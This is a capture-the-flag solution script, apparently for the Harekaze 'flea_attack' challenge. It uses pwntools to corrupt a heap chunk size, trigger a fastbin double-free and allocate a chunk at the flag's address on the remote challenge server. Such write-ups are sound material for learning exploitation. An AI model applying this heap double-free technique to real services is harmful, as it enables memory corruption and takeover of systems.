Rating: 3.5

Author: h3rcul35
```
from pwn import *

def add(size,name,verbose=0):
p.sendline("1")
p.sendline(str(size))
p.send(str(name))
if verbose==0:
p.recvuntil("Addr: ")
else:
print p.recvuntil("Addr: ")
return p.recv(7).strip("\n")

def delete(addr):
p.sendline("2")
p.sendline(str(addr))
p.recv()

#p=process('./flea_attack.elf')
p=remote('problem.harekaze.com',20175)
p.recv()
comment="A"*94
comment+=p8(0x71)

p.sendline(comment)
p.recv()

chunk1=add(96,"aaaa")
chunk2=add(96,"bbbb")
add(96,"cccc")
flag=0x204056

print "[+] Flag is at "+hex(flag)
print "[+] Chunk 1 is at 0x"+chunk1
print "[+] Chunk 2 is at 0x"+chunk2

delete(chunk1)
delete(chunk2)
delete(chunk1)

add(96,p64(flag))
add(96,"AAAA")
add(96,"BBBB")
#raw_input(str(p.proc.pid))
p.interactive()
#1
#96
#AAAAAAAAAAAAAAAAAAAAAAAAAA ("A"*26)
```